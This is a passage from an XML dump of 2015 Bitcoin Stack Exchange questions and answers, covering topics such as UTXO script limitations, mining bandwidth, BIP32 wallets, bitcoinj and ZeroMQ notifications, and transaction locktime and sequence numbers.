simulated by simply&#xA;  repeating the underlying code many times with an if statement, but it&#xA;  does lead to scripts that are very space-inefficient. For example,&#xA;  implementing an alternative elliptic curve signature algorithm would&#xA;  likely require 256 repeated multiplication rounds all individually&#xA;  included in the code.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Value-blindness&lt;/strong&gt; - there is no way for a UTXO script to provide fine-grained control over the amount that can be withdrawn. For&#xA;  example, one powerful use case of an oracle contract would be a&#xA;  hedging contract, where A and B put in $1000 worth of BTC and after 30&#xA;  days the script sends $1000 worth of BTC to A and the rest to B. This&#xA;  would require an oracle to determine the value of 1 BTC in USD, but&#xA;  even then it is a massive improvement in terms of trust and&#xA;  infrastructure requirement over the fully centralized solutions that&#xA;  are available now. However, because UTXO are all-or-nothing, the only&#xA;  way to achieve this is through the very inefficient hack of having&#xA;  many UTXO of varying denominations (eg. one UTXO of 2k for every k up&#xA;  to 30) and having O pick which UTXO to send to A and which to B.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Lack of state&lt;/strong&gt; - UTXO can either be spent or unspent; there is no opportunity for multi-stage contracts or scripts which keep any other&#xA;  internal state beyond that. This makes it hard to make multi-stage&#xA;  options contracts, decentralized exchange offers or two-stage&#xA;  cryptographic commitment protocols (necessary for secure computational&#xA;  bounties). It also means that UTXO can only be used to build simple,&#xA;  one-off contracts and not more complex &quot;stateful&quot; contracts such as&#xA;  decentralized organizations, and makes meta-protocols difficult to&#xA;  implement. Binary state combined with value-blindness also mean that&#xA;  another important application, withdrawal limits, is impossible.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Blockchain-blindness&lt;/strong&gt; - UTXO are blind to blockchain data such as the nonce, the timestamp and previous block hash. This severely limits&#xA;  applications in gambling, and several other categories, by depriving&#xA;  the scripting language of a potentially valuable source of randomness.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Ethereum is designed for contracts and in fact implements a Turing-complete virtual machine on the blockchain.&lt;/p&gt;&#xA;" OwnerUserId="29693" LastEditorUserId="29693" LastEditDate="2015-10-28T10:43:41.933" LastActivityDate="2015-10-28T10:43:41.933" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="40736" PostTypeId="1" AcceptedAnswerId="40739" CreationDate="2015-10-02T12:48:06.683" Score="1" ViewCount="54884" Body="&lt;p&gt;I'm going to be a bitcoin miner and my question is &lt;/p&gt;&#xA;&#xA;&lt;p&gt;does it require a lot of internet bandwidth to mine with a pool ?? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm gonna use guiminer with slush's pool&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 1MB dsl is it enough ??? &lt;/p&gt;&#xA;" OwnerDisplayName="user29589" LastEditorUserId="18196" LastEditDate="2016-03-06T19:24:57.770" LastActivityDate="2016-03-06T19:24:57.770" Title="Does bitcoin mining need a lot of internet bandwidth" Tags="|mining-pools|bandwidth|guiminer|" AnswerCount="1" CommentCount="0" ClosedDate="2015-10-05T14:31:27.287" ContentLicense="CC BY-SA 3.0" />
  <row Id="40737" PostTypeId="1" CreationDate="2015-10-02T13:28:29.143" Score="1" ViewCount="78" Body="&lt;p&gt;I am interested how to operate multiple currencies in one service like modern trading platforms do: Cryptsy(496 trading pairs), Bittrex (328 trading pairs), Poliniex(172 trading pairs).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way I see is to install all the daemons of each currency, but maybe there is some other more easy solution.&lt;/p&gt;&#xA;" OwnerUserId="29694" LastEditorUserId="5406" LastEditDate="2015-12-24T10:27:54.133" LastActivityDate="2015-12-24T10:27:54.133" Title="Is there an easier way to run multiple altcoins in one service than operating each daemon?" Tags="|trading|altcoin|altcoin-development|" AnswerCount="0" CommentCount="0" ClosedDate="2019-07-17T17:31:39.793" ContentLicense="CC BY-SA 3.0" />
  <row Id="40739" PostTypeId="2" ParentId="40736" CreationDate="2015-10-02T15:42:41.850" Score="3" Body="&lt;p&gt;Bitcoin mining doesn't require much bandwidth at all!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's worth noting that the higher the hash-rate of your rig, the more bandwidth it will require (as you will get through work units faster - downloading new ones and feeding back more frequently).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seeing as though you are planning to use guiminer, you most likely won't use much bandwidth (most high-performance mining is now done with dedicated equipment as opposed to GPU/CPU mining).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're new to mining bitcoins, these sites might be of interest to you:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.bitcoinmining.com/&quot; rel=&quot;nofollow&quot;&gt;https://www.bitcoinmining.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Mining&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Mining&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6245" LastActivityDate="2015-10-02T15:42:41.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40740" PostTypeId="2" ParentId="40734" CreationDate="2015-10-02T17:13:16.670" Score="1" Body="&lt;p&gt;Check out &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0032.mediawiki&quot; rel=&quot;nofollow&quot;&gt;Hierarchical Deterministic Wallets (BIP32)&lt;/a&gt; and eventually this &lt;a href=&quot;http://blog.richardkiss.com/?p=313&quot; rel=&quot;nofollow&quot;&gt;blog-post to get a better understanding of the implications it brings&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many wallets today that have &lt;code&gt;BIP32&lt;/code&gt; implemented. &lt;code&gt;Bitcoin Core&lt;/code&gt; is NOT one of them and should probably not be used for the wallet feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the scenario you described, your webserver will provide new public addresses, but will also know the private keys to them. Therefore, if your webserver were hacked, the bitcoins could be spend from those addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With &lt;code&gt;BIP32&lt;/code&gt; you can separate the information to create public keys from the information needed to create the corresponding private keys. &#xA;The information to generate the corresponding private keys can be kept in Cold Storage.&lt;/p&gt;&#xA;" OwnerUserId="29432" LastEditorUserId="5406" LastEditDate="2015-10-09T12:14:43.790" LastActivityDate="2015-10-09T12:14:43.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40741" PostTypeId="1" AcceptedAnswerId="57276" CreationDate="2015-10-02T19:45:18.907" Score="9" ViewCount="285" Body="&lt;p&gt;What SIGHASH flags are used when constructing a CoinJoin transaction?&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2017-07-29T05:25:28.943" Title="What SIGHASH flags does CoinJoin use?" Tags="|coinjoin|sighash-flags|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40742" PostTypeId="2" ParentId="40721" CreationDate="2015-10-02T21:25:43.913" Score="2" Body="&lt;p&gt;Check to see how many outputs total for the tx using .length and then do a for loop and run through every output for each transaction. Use an if statement to check if that particular output has your desired address in the 'addr' field. If it does match then print that value to the screen. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made a fiddle that I think should work, I didn't test it though... &lt;a href=&quot;http://jsfiddle.net/nmgus1fa/&quot; rel=&quot;nofollow&quot;&gt;http://jsfiddle.net/nmgus1fa/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var btcs = new WebSocket('wss://ws.blockchain.info/inv');&#xA;&#xA;btcs.onopen = function()&#xA;{&#xA;btcs.send( JSON.stringify( {&quot;op&quot;:&quot;addr_sub&quot;, &quot;addr&quot;:&quot;15wsV4TYvGPrJnhoyCed6kWcNUuSo5ykRi&quot;} ) );&#xA;};&#xA;&#xA;btcs.onmessage = function(onmsg)&#xA;{&#xA;  var response = JSON.parse(onmsg.data);&#xA;  var getOuts = response.x.out;&#xA;  var countOuts = getOuts.length; &#xA;  for(i = 0; i &amp;lt; countOuts; i++)&#xA;  {&#xA;    //check every output to see if it matches specified address&#xA;    var outAdd = response.x.out[i].addr;&#xA;    var specAdd = &quot;15wsV4TYvGPrJnhoyCed6kWcNUuSo5ykRi&quot;;&#xA;       if (outAdd == specAdd )&#xA;       {&#xA;       var amount = response.x.out[i].value;&#xA;       var calAmount = amount / 100000000;&#xA;       $('#messages').prepend(&quot;&amp;lt;p&amp;gt;&quot; + calAmount + &quot;&amp;lt;/p&amp;gt;&quot;);&#xA;       }&#xA;  } &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="26873" LastActivityDate="2015-10-02T21:25:43.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40743" PostTypeId="1" AcceptedAnswerId="40744" CreationDate="2015-10-02T21:36:03.110" Score="2" ViewCount="760" Body="&lt;p&gt;I need to know when my local wallet receives coins... but &lt;code&gt;onCoinsReceived&lt;/code&gt; is invoked as soon as a transaction on my wallet is visible. How do I get notified when coins have been received and are spendable?&lt;/p&gt;&#xA;" OwnerUserId="29356" LastActivityDate="2015-10-03T17:54:39.400" Title="Bitcoinj: How to get notified when coins are received" Tags="|wallet|bitcoinj|receiving|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40744" PostTypeId="2" ParentId="40743" CreationDate="2015-10-03T00:27:54.387" Score="1" Body="&lt;p&gt;Technically speaking, the coins are spendable immediately; they'll just take longer to spend and cost more in transaction fees. But to know when the coins are confirmed, in onCoinsRecieved:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If you want to know when such a transaction receives its first confirmation, register a TransactionConfidence event listener using the object retrieved via Transaction.getConfidence(). It's safe to modify the wallet in this callback, for example, by spending the transaction just received.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;(&lt;a href=&quot;https://bitcoinj.github.io/javadoc/0.12/org/bitcoinj/core/AbstractWalletEventListener.html#onCoinsReceived-org.bitcoinj.core.Wallet-org.bitcoinj.core.Transaction-org.bitcoinj.core.Coin-org.bitcoinj.core.Coin-&quot; rel=&quot;nofollow&quot;&gt;Source.&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public void onCoinsReceived(Wallet wallet,&#xA;                            Transaction tx,&#xA;                            Coin prevBalance,&#xA;                            Coin newBalance) {&#xA;    TransactionConfidence confidence = Transaction.getConfidence();&#xA;    confidence.addEventListener(new TransactionConfidence.Listener() {&#xA;        public void onConfidenceChanged(Transaction tx,&#xA;                         TransactionConfidence.Listener.ChangeReason reason) {&#xA;            DefaultCoinSelector.isSelectable(transaction) {&#xA;                // do something here&#xA;            }&#xA;        }&#xA;    });&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-10-03T17:54:39.400" LastActivityDate="2015-10-03T17:54:39.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40746" PostTypeId="2" ParentId="40568" CreationDate="2015-10-03T02:18:48.227" Score="2" Body="&lt;p&gt;The most capable working implementation for extending BIP 38 to altcoins (having strong Bitcoin heritage) is provided by bitcoin-explorer's (bx) &lt;a href=&quot;https://github.com/libbitcoin/libbitcoin/wiki/Altcoin-Version-Mappings#bx---key-encryption-commands&quot; rel=&quot;nofollow noreferrer&quot;&gt;Key Encryption Commands&lt;/a&gt; (with working examples applied to Dash) that supports &lt;strong&gt;both&lt;/strong&gt; &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0038.mediawiki#specification&quot; rel=&quot;nofollow noreferrer&quot;&gt;BIP 38 modes&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;h3&gt;1. AES256Encrypt, AES256Decrypt - a paper wallet use case&lt;/h3&gt;&#xA;&lt;h3&gt;2. EC Multiply - a Casascius use case&lt;/h3&gt;&#xA;&lt;p&gt;A backwardly compatible &lt;a href=&quot;https://github.com/libbitcoin/libbitcoin/wiki/Altchain-Encrypted-Private-Keys#proposal&quot; rel=&quot;nofollow noreferrer&quot;&gt;Proposal&lt;/a&gt; and a &lt;a href=&quot;https://github.com/libbitcoin/libbitcoin/wiki/Altchain-Encrypted-Private-Keys#sample-map&quot; rel=&quot;nofollow noreferrer&quot;&gt;Table&lt;/a&gt; are provided to have deterministic leading base58check encoded characters, apart from the &amp;quot;6P&amp;quot; allocated to Bitcoin, to distinguish BIP 38 encrypted keys from those belonging to different altcoin blockchains. See the &lt;a href=&quot;https://github.com/libbitcoin/libbitcoin/wiki/Altcoin-Version-Mappings#bip44-altcoin-version-mapping-table&quot; rel=&quot;nofollow noreferrer&quot;&gt;BIP 44 Altcoin Version Mapping Table&lt;/a&gt; to apply proposed BIP 38 extension to support cryptocurrencies other than Bitcoin (BTC). Also worth examining the &lt;a href=&quot;https://github.com/libbitcoin/libbitcoin/wiki/BIP38-Security-Considerations&quot; rel=&quot;nofollow noreferrer&quot;&gt;BIP 38 Security Considerations&lt;/a&gt; wiki page.&lt;/p&gt;&#xA;" OwnerUserId="10377" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-10-03T02:18:48.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40748" PostTypeId="1" CreationDate="2015-10-03T04:48:51.720" Score="3" ViewCount="1645" Body="&lt;p&gt;What's the core difference between the mining and wallet software out there? I haven't been able to find any information on this so anything - technical or non is appreciated. Though I'm talking about the wallets that make you download the block chain as well, not the light wallets. Thank you.&lt;/p&gt;&#xA;" OwnerUserId="29710" LastEditorUserId="18196" LastEditDate="2016-03-06T19:24:33.223" LastActivityDate="2021-03-22T15:12:58.307" Title="Difference between wallet and mining software?" Tags="|wallet|mining-software|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40751" PostTypeId="2" ParentId="40748" CreationDate="2015-10-03T14:05:14.673" Score="0" Body="&lt;p&gt;Mining software:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you buy an ASIC mining machine it usually comes with a tiny computer with preinstalled software. You just configure it using a web browser and you don't need to worry about mining software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wallets:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look here for a comparison of wallets: &lt;a href=&quot;https://bitcoin.org/en/choose-your-wallet&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.org/en/choose-your-wallet&lt;/a&gt;&#xA;Click on each wallet to see its strengths and weaknesses.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2015-10-03T14:05:14.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40752" PostTypeId="1" AcceptedAnswerId="40755" CreationDate="2015-10-03T16:03:54.143" Score="20" ViewCount="7715" Body="&lt;p&gt;What is the use case of ZeroMQ implementation for bitcoind which will be merged into Bitcoin Core v0.12.0?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Block and Transaction Broadcasting With ZeroMQ&#xA;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/doc/zmq.md&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/bitcoin/bitcoin/blob/master/doc/zmq.md&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29597" LastEditorUserId="2306" LastEditDate="2015-10-03T17:50:57.773" LastActivityDate="2015-10-03T21:56:58.127" Title="What is the use case of bitcoind ZeroMQ?" Tags="|bitcoind|bitcoin-core|zeromq|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40753" PostTypeId="1" CreationDate="2015-10-03T17:28:21.513" Score="2" ViewCount="112" Body="&lt;p&gt;On my site I want to allow two parties to trade between each other without me posing as a middle man. That means that vendor would provide his own address to which a negotiated amount would be deposited. My site would only scrape the public bitcoin transaction list for given address to find out if the payment was done to trigger post processing on my site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since people generally reuse bitcoin addresses, checking an immediate balance will not give me a proof that transaction really came through, thus I want to parse all transactions for a given address, filter out those transactions that are older than defined time frame (assume I have timestamp of offer's creation time) and calculate the sum from the rest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a valid solution or am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="29719" LastActivityDate="2016-08-29T01:00:30.027" Title="Payment confirmation (3rd's party point of view)" Tags="|payment|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40754" PostTypeId="2" ParentId="40753" CreationDate="2015-10-03T18:37:44.213" Score="2" Body="&lt;p&gt;Why not require the merchant to have a unique address and not allow reuse? They could give you an xpub so you can generate them yourself if that's easier. You don't care if the buyer reuses her address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd be careful with depending on time frames. That sounds fragile. &lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2015-10-03T18:37:44.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40755" PostTypeId="2" ParentId="40752" CreationDate="2015-10-03T21:56:58.127" Score="27" Body="&lt;p&gt;ZeroMQ is a publisher / subscriber messaging system. In the case of Bitcoin Core it is a socket which other applications can connect to and get notifications of new events in real time, without having to repeatedly ask the daemon if there are any new events. ZMQ support is useful for any systems interfacing with the network like miners and wallets, which can choose to subscribe either to just transaction notifications or block notifications as their situation requires. It covers a lot of the same use area as the prexisting &lt;code&gt;walletnotify&lt;/code&gt; and &lt;code&gt;blocknotify&lt;/code&gt; systems, but with significantly improved performance and ease of configuration. These older systems have the unfortunate side effect of spawning a new process for every notification, which tends to incapacitate the host if not used extremely carefully. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-10-03T21:56:58.127" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40756" PostTypeId="1" CreationDate="2015-10-04T03:03:13.597" Score="-1" ViewCount="88" Body="&lt;p&gt;If I understand this correctly, someone decided to create their own currency and its validity comes from other people buying into it and having confidence in it and being willing to both buy AND SELL stuff for BC rather than say, USD.  The BC itself really has no value at all (neither do USD actually) unless people agree to exchange things for them.  The &quot;exchange rate&quot; then is really a more or less arbitrary value based upon what people are willing to give up, sell or transfer for a BC.  That is, the value of the currency is determined by the active market.  So if someone decided they would sell 1000 dollar items for five BC each, and they did that for some time, the value of BC would be artificially inflated because people would expect to be able to get 200 dollars worth of merchandise for 1 BC.  a 200:1 rate of exchange against the dollar.  Meaning that if this someone had a buttload of BC in his wallet, he would be a BCillionaire in a heartbeat.  Then he could dump his BC into the market by selling them to someone else for say 80% of the artificial value and go buy a private island while all the other people who were holding BC scrambled for redemption of their falling values.  And since there is no central government behind BC, and no internet currency police, then there is no one to cry out to over the fraud.   Is my understanding accurate? &lt;/p&gt;&#xA;" OwnerUserId="29729" LastActivityDate="2015-10-06T00:48:00.553" Title="So you really can not set an exchange rate....?" Tags="|fraud|price-volatility|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40757" PostTypeId="1" CreationDate="2015-10-04T07:45:31.537" Score="1" ViewCount="599" Body="&lt;p&gt;About 12 hours ago I sent BTC 0.06304568 to my test wallet... and the transactions is still pending:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;  &quot;receiveAddress&quot;: &quot;1KU9VwJ992UisoAYiPbRdSXDRVUCq4wdW1&quot;,&#xA;  &quot;balance&quot;: 0,&#xA;  &quot;net&quot;: &quot;prod&quot;,&#xA;  &quot;version&quot;: 0,&#xA;  &quot;encrypted&quot;: true,&#xA;  &quot;raw&quot;: &quot;Wallet containing 0.06304568 BTC (spendable: 0 BTC) in:&#xA;    1 pending transactions&#xA;    0 unspent transactions&#xA;    32 spent transactions&#xA;    0 dead transactions&#xA;    Last seen best block: 377306 (Sat Oct 03 13:59:53 EDT 2015): 00000000000000000c07ea569a4be298ff78b6f5ab5df17775649dcd1bc8b68f&#xA;    ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If if look at address &lt;code&gt;1KU9VwJ992UisoAYiPbRdSXDRVUCq4wdW1&lt;/code&gt; in btc.blockr.io I get the following result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Hash:           1KU9VwJ992UisoAYiPbRdSXDRVUCq4wdW1&#xA;Balance:        0.00000000 BTC&#xA;Total received: 0.00000000 BTC&#xA;Transactions:   0&#xA;Unconfirmed:    0.00000000 BTC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm a bit confused... it looks like I got a ghost transaction. Am I missing something? I don't know if it is relevant... but I use &lt;code&gt;bitcoinj&lt;/code&gt; to receive bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="29356" LastActivityDate="2015-10-04T07:45:31.537" Title="Transaction still pending after 12 hours" Tags="|transactions|wallet|bitcoinj|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40758" PostTypeId="1" CreationDate="2015-10-04T08:02:47.990" Score="1" ViewCount="174" Body="&lt;p&gt;How do I see my wallet address? I use MultiBitHD. When I tried to use bitvisitor, it told me to type my wallet address. But, I don't know where it is written on.&lt;/p&gt;&#xA;" OwnerDisplayName="user29731" LastEditorUserId="2306" LastEditDate="2015-10-04T20:05:06.920" LastActivityDate="2016-09-30T13:08:14.477" Title="Wallet Address(MultiBitHD)" Tags="|wallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40759" PostTypeId="1" CreationDate="2015-10-04T08:09:37.463" Score="4" ViewCount="145" Body="&lt;p&gt;Today, the bitcoin network is secured by massive computing power, which is expended in the process of mining. The miners are rewarded by newly mined bitcoins, plus transactions fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The security of the network relies on the computing power being so expensive, that no one group can afford to gain 51% share.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eventually, the amount of newly mined bitcoins will diminish, and the mining  reward by itself would cause mining to become unprofitable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will the fees be able to pay the expenses for the huge expensive computing power?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see two extreme situations where it might work: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a) either the transaction fees will be astronomical&#xA;b) or there will have to be huge amount of transactions&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;option a) is clearly not viable, which leaves option b).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would this mean for the bitcoin economy?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will bitcoin need to become &quot;high-velocity&quot; money?&#xA;How could that be enforced? And how would we prevent the blockchain growing out of control?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is my analysis correct?&lt;/p&gt;&#xA;" OwnerUserId="29679" LastEditorUserId="18196" LastEditDate="2016-03-06T19:23:35.190" LastActivityDate="2016-03-06T19:23:35.190" Title="Can transactions scale sufficiently to compensate the diminishing block reward by fees?" Tags="|transaction-fees|economic-theory|mining-theory|scalability|reward-schedule|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40760" PostTypeId="2" ParentId="40756" CreationDate="2015-10-04T10:00:49.530" Score="1" Body="&lt;p&gt;Your analysis is incorrect because you have completely ignored the issue of market depth. You're assuming depth is zero on asks and infinite on bids (if this was the case, of course the price would easily go up).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone were to sell $500 items for 1 BTC each (I'm using different numbers, because your numbers implied a BTC value which is actually lower than what it is currently), and even if these items are completely liquid, this will not raise the BTC price to $500. Rather, people will buy bitcoins on the open market, and use them to buy from this person at profit, until he runs out of items to sell. This will increase the price, but not up to $500.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whatever the new price is, the person can't just sell all his bitcoins at this price. The market only has limited depth, so if he starts selling large amounts of bitcoins the price will drop, even below what it was originally. In all likelihood, the person will just end up with a loss after all these games (because he sold items at a loss, and then suffered slippage from trying to dump everything at once).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, that's not different from any other market. What keeps these things from happening is economics, not regulation.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2015-10-04T10:00:49.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40762" PostTypeId="2" ParentId="53852" CreationDate="2015-10-04T10:47:52.300" Score="0" Body="&lt;p&gt;up until a transaction has been mined into a block it is not set in stone. therefore you can just issue a new transaction which spends the same txout as your original but which sends the funds to a different address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;would this be classed as &lt;em&gt;doublespending&lt;/em&gt;? not technically because nothing at all has been spent until the transaction appears in a block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this may be tricky (impossible?) to do in the standard client as it knows about the transaction you just created and so has deducted the funds in anticipation of them being mined into a block. but you can create your second transaction by:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;downloading your private key from your wallet and loading it into a bitcoin client that knows nothing about your first transaction (note: never paste your private key into a website), or&lt;/li&gt;&#xA;&lt;li&gt;manually creating a transaction using bitcoin-cli, and broadcasting it to the network&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2116" LastActivityDate="2015-10-04T10:47:52.300" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="40764" PostTypeId="1" CreationDate="2015-10-04T13:05:16.850" Score="5" ViewCount="2507" Body="&lt;p&gt;I have been trying to understand locktimes and sequence numbers. I'm gradually building up a picture in my head based on code, code comments and info on the web. Rather than asking lots of questions, I am going to describe my understanding of how locktime and sequence numbers work. Please could someone tell me if it is correct, and if not then please specify &lt;strong&gt;exactly&lt;/strong&gt; which bits are wrong, using examples or pointing me to the source code.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Mining criteria&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_documentation#tx&quot; rel=&quot;nofollow noreferrer&quot;&gt;All transactions inputs have their own sequence number, and there is one locktime for the whole transaction.&lt;/a&gt; &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/4899a04c24b927166048a74999992d216a543c23/src/main.cpp#L641-L651&quot; rel=&quot;nofollow noreferrer&quot;&gt;A transaction can be made &quot;final&quot; by&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;setting the locktime to 0, or&lt;/li&gt;&#xA;&lt;li&gt;setting the locktime to be less than the current block height, or&lt;/li&gt;&#xA;&lt;li&gt;setting the locktime to be less than the current time (but still above a threshold so that it is not confused for a block height), or&lt;/li&gt;&#xA;&lt;li&gt;setting ALL txin sequence numbers to &lt;code&gt;0xffffffff&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any one of these conditions is sufficient for a transaction to be considered &quot;final&quot;. If all conditions fail then the transaction is not &quot;final&quot;. &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/5b77244c60f3137647fed1c9510965d48992ccbe/src/miner.cpp#L165&quot; rel=&quot;nofollow noreferrer&quot;&gt;Only &quot;final&quot; transactions get mined into blocks - non final transactions never make it to the blockchain.&lt;/a&gt; Note that the only way that a transaction in the blockchain can contain a locktime with a future timestamp or future block number is if all sequence numbers are set to &lt;code&gt;0xffffffff&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Locking funds&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Say that currently, the block height is &lt;code&gt;377199&lt;/code&gt;. If I wanted to send money to someone, but only have them receive it at some time in the future, then I could make a transaction to their address, set the locktime to &lt;code&gt;400000&lt;/code&gt; and set all sequence numbers in the transaction to &lt;code&gt;0xffffffff&lt;/code&gt;. This transaction will get mined into block &lt;code&gt;377200&lt;/code&gt; or maybe &lt;code&gt;377201&lt;/code&gt;. It will also probably require a mining fee. This fee will be part of the coinbase funds and is deducted immediately from the previous transaction being spent (ie. the miner does not have to wait until the locktime to put the funds in the coinbase).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All txin scripts in my &lt;em&gt;locktime=400000&lt;/em&gt; transaction must successfully validate against their corresponding txout scripts in the transaction(s) being spent. Once the &lt;em&gt;locktime=400000&lt;/em&gt; transaction has been mined into a block (say &lt;em&gt;block=377200&lt;/em&gt;) then any block built on top of &lt;em&gt;block=377200&lt;/em&gt; cannot double-spend the txouts that my &lt;em&gt;locktime=400000&lt;/em&gt; transaction has already spent. As soon as the &lt;em&gt;locktime=400000&lt;/em&gt; transaction is mined into a block this causes the UTXOs it references to be immediately removed from the pool, even though the funds are locked away for a period until the locktime is reached.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Spending locked funds&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Not all transaction outputs that have been mined into a block can be spent immediately or even at all. For one thing, if transaction A is spent by transaction B then the txout scripts in transaction B are &lt;a href=&quot;https://bitcoin.stackexchange.com/a/38009/2116&quot;&gt;not verified for syntax by the miners&lt;/a&gt; (though the txout scripts in A are verified). If the txout scripts in B are nonsense then the funds they direct will become forever unspendable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But in a case where the scriptsig and scriptpubkey do validate, miners will only permit a transaction into the blockchain if it satisfies the locktime criteria. Say someone wishes to spend the &lt;em&gt;locktime=400000&lt;/em&gt; transaction funds 